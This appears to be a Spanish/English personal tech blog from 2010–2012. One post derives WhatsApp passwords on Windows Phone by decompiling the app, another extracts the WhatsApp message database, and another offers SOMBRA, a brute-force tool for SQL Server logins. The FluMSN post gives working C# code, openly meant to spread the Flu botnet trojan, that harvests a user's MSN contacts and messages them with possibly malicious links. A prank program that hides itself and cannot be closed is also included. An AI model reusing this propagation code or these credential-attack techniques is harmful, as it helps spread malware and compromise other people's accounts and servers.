martes, 6 de noviembre de 2012

Know your WhatsApp password on Windows Phone


Everybody knows WhatsApi and derivatives thereof to use WhatsApp without a smartphone. The password which is used for Android is based on the device IMEI and the WiFi MAC address for iPhone. I wondered how it works on Windows Phone and here I expose my results.

The first was obtain the libraries WhatsApp.dll and WhatsAppCommon.dll from the phone just as I did with the database in my previous post (in spanish). 

With the DLLs in the PC I launched a .Net decompiler to take a look at the code. There are several such applications as ILSpyCCI Explorer.Net Reflector...

Inside WhatsApp.dll we find a method called CheckCode(string) of the EnterCode class in the WhatsApp.verify namespace.


We can watch that one of the WebRequest parameters (text) is the password we're looking for. We see that it's made by obtaining the DeviceUniqueId to send it later to the ToPassword method found in WhatsAppCommon.dll.


From ToPassword it calls the GetHashString method of the MD5Core class based on Silverlight MD5Core.





To go faster I decided to make an application to generate the password through importing the libraries. To use these DLLs in Visual Studio you must unblock them before. How to: Use an Assembly from the Web in Visual Studio. How to: Use an Assembly from the Web in Visual Studio.


The following code was enough to get the password and try:

txtPass.Text = ((byte[])Microsoft.Phone.Info.DeviceExtendedProperties.GetValue("DeviceUniqueId")).ToPassword();

Also I added a button that would allow me to copy the key for further testing.

And now we make a request to the Whatsapp server to verify if it's correct or not ...


¡Jackpot! status="ok"

Let's try from WhatsApi but before we must modify the encryptPassword function of the whatsprot.class.php file to avoid a password change after introduce ours in whatsapp.php.


Correct.

I hope it will be helpful.

Conoce tu contraseña de Whatsapp en Windows Phone

Todo el mundo conoce WhatsApi y derivados de éste para poder hacer uso de Whatsapp sin tener que emplear el teléfono móvil. La contraseña que se emplea para Android se basa en el IMEI del dispositivo y para iPhone la dirección MAC de la antena WiFi. Quería descubrir cómo funciona en Windows Phone y aquí os expongo mis resultados.

Lo primero fue extraer las librerías WhatsApp.dll y WhatsAppCommon.dll del teléfono del mismo modo que lo hice con la base de datos en mi anterior post

Con las DLLs en el PC empleé un decompilador de .Net para poder echar un vistazo al código. Existen varias aplicaciones de este tipo como son ILSpy, CCI Explorer, .Net Reflector...

Dentro de WhatsApp.dll encontramos un método llamado CheckCode(string) de la clase EnterCode del espacio de nombres WhatsApp.verify.


Podemos observar que uno de los parámetros (text) del WebRequest es la contraseña que estamos buscando. Vemos que la crea obteniendo el DeviceUniqueId del dispositivo para luego mandarlo al método ToPassword que se encuentra en WhatsAppCommon.dll.


Desde ToPassword llama al método GetHashString de la clase MD5Core basada en la de MD5Core de Silverlight.





Para ir más deprisa decidí hacer una aplicación que me generase la contraseña importando las librerías. Para poder hacer uso de estas DLLs en Visual Studio hay que desbloquearlas antes. How to: Use an Assembly from the Web in Visual Studio.


Con el siguiente código bastaba para obtener la contraseña y probar:

txtPass.Text = ((byte[])Microsoft.Phone.Info.DeviceExtendedProperties.GetValue("DeviceUniqueId")).ToPassword();

También le agregué un botón que me permitiese copiar la clave para su posterior prueba.

Y ahora hagamos una petición a los servidores de Whatsapp para verificar si es correcta o no...


¡Premio! status="ok"

Probemos desde WhatsApi pero antes modifiquemos la función encryptPassword del fichero whatsprot.class.php para que al introducir nuestra contraseña en whatsapp.php no le aplique ningún cambio.


Correcto.

Espero os sea útil.

miércoles, 31 de octubre de 2012

Obtener historial de Whatsapp en Windows Phone

La aplicación Whatsapp de Windows Phone no permite enviar una copia de la conversación por email como sí pasa con la versión de Android. Tampoco es posible acceder a los ficheros del teléfono y poder obtener una copia de la base de datos de las conversaciones, ¿o quizás sí?

No hay opción que permita enviar una copia de la conversación.


La respuesta es que sí es posible pero requiere ciertas modificaciones en el dispositivo. Debemos tener instalado el SDK de Windows Phone, hechos el DeveloperUnlock y el InteropUnlock para después instalar la aplicación "WP Root Tools". Por si necesitáis saber como realizar estos cambios en el teléfono dejo una guía del foro  XDA-Developers.

Instalamos WP Root Tools desde la herramienta Application Deployment del SDK de Windows Phone.

Si nunca lo habéis utilizado, es tan sencillo como seleccionar el dispositivo, la ruta de la aplicación en cuestión (.xap) y pulsar el botón Deploy.


Una vez desplegada en nuestro dispositivo seguimos las instrucciones de instalación de WP Root Tools que requerirá algún que otro reinicio. Después podemos utilizar la herramienta y continuar con nuestro propósito.



Desde la vista de "Explorer" podemos recorrer los directorios del teléfono. Ahora tenemos que acceder a la carpeta que contiene la base de datos pero nos encontramos un pequeño obstáculo ya que las aplicaciones instaladas no vienen listadas por sus nombres sino por su GUID. Pero no supone un gran problema ya que mediante la web www.windowsphone.com podemos encontrar el GUID correspondiente buscando la aplicación y la misma URL de la aplicación nos dará el chivatazo:

218a0ebb-1585-4c7e-a9ec-054cf4569a79

Ya conocemos el susodicho número por el que se identifica Whatsapp así que a buscar la base de datos. La ruta es la siguiente:

Applications
    |__ Data
        |__ GUID Whatsapp
            |__ Data
                |__ IsolatedStore
                    |__ 
messages.sdf

WP Root Tools nos permite copiar y pegar ficheros siéndonos muy útil para poder duplicar la base de datos en una carpeta a la que podamos "acceder" mediante una aplicación que nos permita enviar ficheros por correo electrónico por ejemplo. Me explico: copiamos messages.sdf a la carpeta "My Documents" que se encuentra en  la raíz. Una vez copiado, tenemos que renombrarlo a .txt para lo que ya os estaréis imaginando... Sí, desde la aplicación de Office exploraremos los documentos del teléfono y allí se encontrará nuestro messages.txt. La abrimos y como si de un documento de texto legítimo procedemos a Compartir vía correo electrónico. Fácil, ¿verdad?

Ahora desde nuestro PC descargamos el fichero con extensión .txt y lo guardamos con su extensión correspondiente que es .sdf .

Al tratarse de una base de datos SQL Server Compact no vamos a encontrar problemas para poder abrirla desde SQL Management Studio. Tan solo seleccionamos SQL Server Compact como el tipo de servidor y la ruta donde guardamos el fichero. 

Password en blanco.

Nos encontramos con las tablas  "__VERSION", "Conversation" y "Message".




Todo en texto plano para que podamos echar un vistazo sin problemas. Ahora es tiempo de lanzar consultas para obtener las conversaciones que nos convengan. En la tabla Message encontramos las columnas necesarias:

KeyFromMe nos indica si el mensaje lo hemos escrito nosotros siendo 1.
Data contiene el mensaje.
KeyRemoteJid es el usuario con el que has tenido el mensaje. NúmeroTeléfono@s.whatsapp.net
MessageID el identificador del mensaje.

He empleado la siguiente sentencia para obtener una conversación y poder ponerle nombre a tu contacto.

SELECT 
  CAST(
     CASE WHEN KeyFromMe = 1
        THEN 'Yo'
     ELSE 'Contacto'
     END AS nvarchar) AS "Usuario", Data AS "Mensaje"
FROM Message
WHERE KeyRemoteJid='346XXXXXXXX@s.whatsapp.net'
ORDER BY MessageID

Obteniendo lo siguiente:

Cada cuál que lo exporte como quiera.


Espero que os sea útil.


Actualización (Diciembre-2012):
Ha salido la versión 2.8.8. que permite enviarse el historial por e-mail. Pero no adjunta un fichero .txt con la conversación sino el texto en el cuerpo del mensaje. Y no incluye toda la conversación ya que te lo acompaña de un mensaje como el siguiente: "(Este email sólo incluye los mensajes más recientes 498; truncados por Windows Phone.)". Así que si la conversación es más larga, habrá que seguir extrayendo la base de datos. 

martes, 11 de septiembre de 2012

SOMBRA for SQL Servers

Voy a presentaros una aplicación que empecé a desarrollar hace ya algún tiempo pero por un motivo u otro no lo terminé en su día. Ahora que el INEM ha fichado por mí, estoy más ocioso y he podido terminarla.

Su nombre es SOMBRA y sirve para probar accesos a Servidores de Microsoft SQL Server mediante fuerza bruta. Con ella podemos obtener un listado de todos los servidores que podamos ver en la red y luego realizar diferentes pruebas de acceso. Puede servirnos como herramienta de pentesting o para probar si continuamos utilizando usuarios y contraseñas que deberíamos haber cambiado, configuraciones por defecto... tan solo tendremos que elegir que credenciales emplear ya que permite varias opciones como el uso de diccionarios.

Lo he desarrollado en C# (.Net Framework 3.5) intentado diseñar una interfaz lo más sencilla y amigable posible. Es como un asistente en el que no puedes avanzar si algo no está correcto.

Algunas capturas para que veáis su funcionamiento:

Primero listamos los servidores y seleccionamos aquellos que nos interese poner a prueba.

Elegimos como nos vamos a conectar. En este caso elegimos que el usuario siempre sea "sa" y un fichero de texto con un listado de contraseñas.

SOMBRA realizará las conexiones a los servidores elegidos anteriormente empleando la configuración indicada; un usuario fijo y alternando la contraseña.

Si tenemos suerte nos aparecerán listados los servidores con los que hayamos conseguido acceso.


Agradecer desde aquí la traducción en alemán a mi amiguete RooLop.

Sin más dilación os dejo el enlace:

Descargar SOMBRA
MD5: a3371d4d4d4db8a9fa1af0ae94ab2d58
SHA1: cda8a35e44aa47c1bbd851d48c816e8ba5a8b4c2

Espero que os sea útil y me comentéis que tal os ha ido.







jueves, 2 de junio de 2011

WP7 - Debloqueo del Desarrollador


Acabo de recibir un nuevo teléfono con Windows Phone 7 y lo primero que quiero hacer es probar alguna de las aplicaciones que hice. Lo conecto al pc, sincronizo con Zune y demás rollos, abro Visual Studio 2010, elijo que se ejecute la aplicación en el dispositivo, desbloqueo la pantalla para que no haya problemas y... zasss!! Recibo el siguiente mensaje:

Error al iniciar la aplicación. Asegúrese de que la pantalla del dispositivo está desbloqueada
y que dicho dispositivo no está bloqueado por el desarrollador. Para obtener detalles sobre del
desbloqueo del desarrollador, visite la página web http://go.microso

Sí, has leído bien "http://go.microso". Bueno, ¡no pasa nada! Lo que intenta decirte el error es que vayas a C:\Program Files\Microsoft SDKs\Windows Phone\v7.0\Tools\Phone Registration y ejecutes la aplicación PhoneReg.exe con el teléfono conectado al pc.

Aparecerá una formulario donde debes introducir tu usuario y contraseña de Windows Live Id. Puede que te de un error diciéndote que desbloquees la pantalla y luego pulses reintentar, ningún problema.

Tras aceptar el registro devolverá la siguiente ventana:

¡Tan fácil como esto!

Desde este momento, en nuestra cuenta de App Hub aparecerá el nuevo dispositivo y estará listo para poder ejecutar nuestras aplicaciones a través de Visual Studio o Expression Blend.


Y si tienes dudas ya sabes que puedes consultar "http://go.microso" ;-)


martes, 25 de enero de 2011

POC - FLU MSN

He creado un formulario para mostrar el funcionamiento de la clase FluMSN de la que hablé en el anterior post.

Para ello he puesto unas cuantas labels para mostrar el nick, estado y dirección de e-mail. Un par de ListBox que relleno con los contactos y un textbox junto a un botón para poder enviar mensajes a quellos contactos que estén conectados.


Descargar POCFluMSN.
Contraseña: p4p4y4

MD5: d19800f912af90f932d8b5aa51d0b89b
SHA-1: 5bd2a90326825e18851383260f9ff23dada0bef4

domingo, 23 de enero de 2011

FluMSN

En el anterior post comentaba como hacer una rápida y simple broma en C#. Dicho código lo compartí en el foro de Flu Project. Para explicar que es, un extracto de su web:
El proyecto consiste en el desarrollo de una aplicación para el control remoto de máquinas Windows a través del troyano Flu, orientado a la generación de botnets a través de la tecnología HaaS (Hacking as a Service).
Pensando en su propagación pensé que una vía puede ser a través de mensajería instantánea y al tratarse de un troyano enfocado principalmente en Windows, que mejor que Msn Messenger. Pues, ¡manos a la obra!

Mis propósitos eran:
  • Obtener e-mail y nick del usuario. [Conseguido]
  • Listado de todos sus contactos. [Conseguido]
  • Listado de contactos conectados para actuar con ellos de la siguiente manera: [Conseguido]
  • Enviar mensajes (¿Web maliciosa?). [Conseguido]
  • Enviar ficheros. [Por Conseguir]
He estado haciendo pruebas a través de la API de Messenger y el nuevo Windows Live Messenger 2011, concretamente con la compilación 15.4.3502.922.

El método SendFile no me funcionaba y no sé si porque no es compatible con esta versión del messenger. Si alguien pude probarla en versiones anteriores y comentarme resultados sería de agradecer. ;-)

Para el uso de la API se ha de agregar la referencia MessengerAPI desde COM.

Ni que decir tiene, que funciona siempre y cuando estemos conectados.

La publicación en el foro de Flu Project la podéis ver en este enlace.

Aquí tenéis el código.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Messenger_Robe_
{
class FluMSN
{
MessengerAPI.Messenger MSN = new MessengerAPI.Messenger();
private string errorGral = "Se produjo un error. Es posible que el usuario no esté conectado";
private List contactos=new List();

public string NombreUsuario()
{
try
{
return MSN.MyFriendlyName;
}
catch
{
return errorGral;
}
}
public string EmailUsuario()
{
try
{
return MSN.MySigninName;

}
catch
{
return errorGral;
}
}
public string EstadoUsuario()
{
try
{
return MSN.MyStatus.ToString();
}
catch
{
return errorGral;
}
}

public List ObtenerTodosContactos()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
contactos.Add(contact.SigninName);
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public List ObtenerContactosConectados()
{

MessengerAPI.IMessengerContacts contacts = (MessengerAPI.IMessengerContacts)MSN.MyContacts;

try
{
foreach (MessengerAPI.IMessengerContact contact in contacts)
{
if (contact.Status != MessengerAPI.MISTATUS.MISTATUS_OFFLINE)
{
contactos.Add(contact.SigninName);
}
}
return contactos;

}
catch
{
contactos.Add(errorGral);
return contactos;
}
}

public void EnviarMensaje(List contactos, string mensaje)
{
try
{
foreach (string usuario in contactos)
{
if (MSN.MyStatus.ToString() == "MISTATUS_INVISIBLE")
{
MSN.InstantMessage(usuario);
SendKeys.Send("{ENTER}");
SendKeys.Send("{ENTER}");
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
else
{
MSN.InstantMessage(usuario);
SendKeys.Send(mensaje + "{ENTER}");
SendKeys.Send("{ESCAPE}");
}
}
}
catch
{
}
}

//public void EnviarArchivo(List contactos, string archivo)
//{

// try
// {
// foreach (string usuario in contactos)
// {
// MSN.SendFile(usuario, archivo);
// }
// }
// catch (Exception e)
// {
// MessageBox.Show(e.ToString(),"Error");
// }
//}
}
}

sábado, 22 de enero de 2011

NoMoreClicks: Una broma rápida en C#

Se me ha ocurrido que con pocas líneas de código podemos gastar una pequeña broma a nuestro compañero de oficina, clase,etc.

La idea es crear un formulario transparente, sin bordes, que ocupe toda la pantalla y no aparezca en la barra de herramientas al ejecutarlo. Por cada click con el ratón por parte del usuario, la aplicación invisible le devuelve un mensaje con el texto que hayamos predeterminado. También pensé en que no pudiese ser cerrado al pulsar las teclas Alt+F4.

Para ello se han de cambiar unas cuantas propiedades del Form, crear un array de cadenas de texto con los mensajes que queramos y un par de eventos para capturar los clicks del ratón y el que no pueda ser cerrada "fácilmente".

Aquí os dejo el código:
using System;
using System.Windows.Forms;
using System.Net;

namespace NoMoreClicks
{
public partial class Form1 : Form
{
//Declaramos un array de cadena y lo inicializamos con los mensajes que queramos mostrar por cada click
string[] mensajes = { "No pinches.", "¡Qué no pinches!", "¿Por qué pinchas?", "¿Cómo hay que decírtelo?", "¿No vas a parar?"};

//Un entero que almacenará en que posición del array estaremos
int contador = 0;



public Form1()
{

InitializeComponent();
}

//Evento click del Form
private void Form1_Click(object sender, EventArgs e)
{

try
{
//Mostramos el mensaje correspondiente e incrementamos el contador para pasar al siguiente mensaje
MessageBox.Show(mensajes[contador],Dns.GetHostName());
contador++;
}
catch
{
//No quedan más mensajes por mostrar y a partir de ese momento sólo se mostrará el siguiente
MessageBox.Show("No insistas", Dns.GetHostName());
}

}

private void Form1_Load(object sender, EventArgs e)
{
//Cambiamos unas cuantas propiedades del Form para que sea transparente, pantalla completa, sin bordes, etc
this.Opacity = 0.01;
this.ShowInTaskbar = false;
this.ShowIcon = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Height=Screen.PrimaryScreen.Bounds.Height;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Top = 0;
this.Left = 0;
}

//Evento FormClosing para que no puedan cerrar la aplicación con Alt+F4 por ejemplo
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}


}
}
Probadlo y ya me comentaréis si hubo éxito o no.

He pasado el código por el foro de Flu Project por si les interesa y lo incluyen en su aplicación. ¿Qué no sabes qué es eso de Flu Project? Entra en su web y echa un vistazo.

Si alguien quiere probarla directamente:

Descargar NoMoreClicks.
Contraseña: 45p4r4gu5

MD5: e0876057fdd1ff2645386cb402bc6172
SHA-1: 1fd3dda4f9522d0958125811c0e044180861d5c3

jueves, 16 de diciembre de 2010

Algunas Herramientas de Seguridad para Mac OS X

Puede que al cambiar a Mac añoréis algunas aplicaciones de seguridad que utilizabais en otras plataformas y que no sabéis que también están disponibles para los amantes de la manzana.

Para la instalación de muchas de ellas necesitaréis instalar previamente XCode ya que contiene la colección de compiladores GCC. Recordad aquello de: ./configure , make , make install ;-)
Tampoco está de más instalar MacPorts que es un gestor de aplicaciones (como puede ser APT en Linux).

Esta es una lista de algunas herramientas que tengo actualmente:


WIRESHARK:

http://www.wireshark.org/download.html


METASPLOIT:

http://www.metasploit.com/redmine/projects/framework/wiki/Install_MacOSX

http://www.metasploit.com/framework/download/


NMAP:

http://nmap.org/download.html

http://nmap.org/book/inst-macosx.html


BURPSUITE: [Java]

http://portswigger.net/burp/


SQLMAP:

http://sourceforge.net/projects/sqlmap/


KISMAC:

http://trac.kismac-ng.org/wiki/Downloads


AIRCRACK:

http://www.aircrack-ng.org/doku.php?id=install_aircrack#installing_on_mac_osx


JOHN THE RIPPER:

http://www.openwall.com/john/


CRYPTIX:

http://www.rbcafe.com/cryptix


THC HYDRA:

http://freeworld.thc.org/thc-hydra/


MEDUSA:

http://www.foofus.net/~jmk/tools/


NIKTO:

http://cirt.net/nikto2



sábado, 20 de noviembre de 2010

Cambiar configuración de entorno en Visual Studio

Quizás a alguno le pueda parecer una tontería, pero no encontraba el modo para volver a cambiar la configuración de entorno que te ofrece la primera vez que arrancas Visual Studio tras su instalación. No sabía ni que nombre tenía y al final en un foro (de msdn si no recuerdo mal) encontré la solución y me consoló saber que no era el único con este problema.

Por si alguien se encuentra en la misma situación que sepa que se hace rapidísimo. Pinchamos en:

Herramientas > Importar y Exportar Configuraciones...


Nos permite exportar nuestra configuración actual o importar otra guardada anteriormente. Continuo seleccionando restablecer todas las configuraciones:


Te permite guardar la actual configuración por si quisieses dar marcha atrás:


Y conseguimos llegar al menú deseado:

jueves, 4 de noviembre de 2010

Arreglando el MagSafe.


Dentro de poco mi Macbook cumplirá cinco años y el único problema que he tenido no ha sido directamente con él sino con su cargador, el MagSafe. En parte me toca entonar el mea culpa porque la verdad es que muchas veces mientras usaba y cargaba el portátil, el cable estaba bastante tenso lo que provocó un pequeño desgarro en este que fue en aumento. Eso conllevó que empezase a fallar y se cortase la corriente ya que los hilos del cable se estaban rompiendo. También se calentaba demasiado el transformador alcanzando una temperatura bastante alta, abrasaba.

Llegó el día en el que dijo adiós dejando de funcionar. Mi intención era comprar uno nuevo pero no tenía batería y necesitaba cargar el Macbook como fuese porque lo necesitaba. Así que me decidí a abrirlo y ponerme manos a la obra.

Antes de nada, decir que no sé si es el método adecuado y si realmente es seguro. Simplemente os expongo mi solución con la intención de ayudar a quien se encuentre ante el mismo problema.

No intentéis buscar tornillo alguno ya que no los hay. Tendremos que ser mañosos y usar la fuerza (No confundir con La Fuerza). Lo primero, quitar el adaptador del enchufe. Después abriremos las pestañas que tiene el cargador para enrollar el cable. En esos espacios libres haremos fuerza en cada lateral para separar la carcasa. Yo utilicé unos alicates para poder presionar en ambos lados. Os dejo unas imágenes por si no me he expresado muy bien.


Realmente no es necesario abrirlo por completo, basta con lograr acceder a la parte de donde sale el cable.

Podéis comprobar la rotura del cable.

Tenemos acceso al cableado.

Nos toca separar el cableado de la pieza de goma. Con cuidado y un cúter será suficiente.

Con cuidado y evitando cortar los cables.

Recuerda conservar esta pieza.

Salvamos la pieza ya que más adelante tendremos que volver a ponerla en su sitio. En mi caso, me encuentro con esto:

¡Sorpresa!


Ahora empieza lo bueno... Como ya sabéis dentro del cable se encuentra otro de color blanco. Los separamos.

Preparamos los cables.

Ahora toca pelar el blanco:

Tiene unas fibrillas que podemos cortar.

Es el momento de ir calentando el soldador y preparar un poco de estaño. Pero antes meteremos macarrón termorretráctil. Utilicé dos diámetros distintos; para cubrir cada soldadura y uno más grande de color blanco para cubrir todo el cableado y que el acabado final no quede muy feo. Así que metemos los tubos por el cable de tal modo que siga el siguiente esquema:

Como podréis comprobar en la siguiente fotografía no tengo ni idea de soldar. Pillé un soldador que había por casa y tirando millas. También veréis como queda el tubo tras aplicarle calor (con un mechero), encoge más o menos a la mitad.

Se puede apreciar como encoge el macarrón termorretráctil.

Ambos cables soldados y recubiertos pero parte de uno queda sin cubrir.

Tiene fácil solución. Será por macarrón...

Tras aplicarle calor, encoge y nos cubre todo.

Nuestro cable ha aumentado su grosor al haber empleado el macarrón pero no hay problema, podemos adaptar la pieza de goma que cortamos al principio para que nuestro cable pase sin problema.

Ensanchamos para el paso de los cables.

Terminamos cerrando la carcasa y utilizando el último macarrón de color blanco cuyo diámetro era superior al resto para poder cubrir la pieza de goma y el resto del cable con la intención de disimular un poco nuestro arreglillo.


Si no os cierra bien la carcasa, podéis utilizar bridas de color blanco.

Yo llevo ya varios meses utilizando el Magsafe desde el arreglo y de momento sin problema alguno pero soy consciente de que he de comprar uno nuevo.

También os dejo unos consejos de la propia Apple para reducir la tirantez del cable.